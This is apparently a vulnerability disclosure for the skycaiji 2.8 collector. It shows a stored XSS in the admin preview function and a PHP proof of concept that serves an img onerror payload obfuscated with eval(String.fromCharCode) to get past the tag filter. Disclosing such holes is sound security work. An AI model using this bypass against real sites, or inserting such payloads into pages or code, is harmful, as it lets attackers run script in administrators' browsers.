In the latest version of skycaiji 2.8 (https://github.com/zorlan/skycaiji), I found an XSS vulnerability. The reason is that although the source code prohibits some possible xss tags, the target does not filter the img tag enough, which allows the attacker to bypass it through eval(String.fromCharCode()) and finally cause the xss attack.
In this parsing preview function, if the website owner collects the website containing our malicious data and chooses to preview it, our malicious js code will be triggered.
<?php
$data = array(
'xss' => '<img src=\'xss\' onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">',
);
$json = json_encode($data);
header('Content-type: application/json');
echo $json;
Select the preview function in the background and enter the URL containing our malicious code
The vulnerable URL is http://127.0.0.4/index.php?s=/admin/tool/preview |
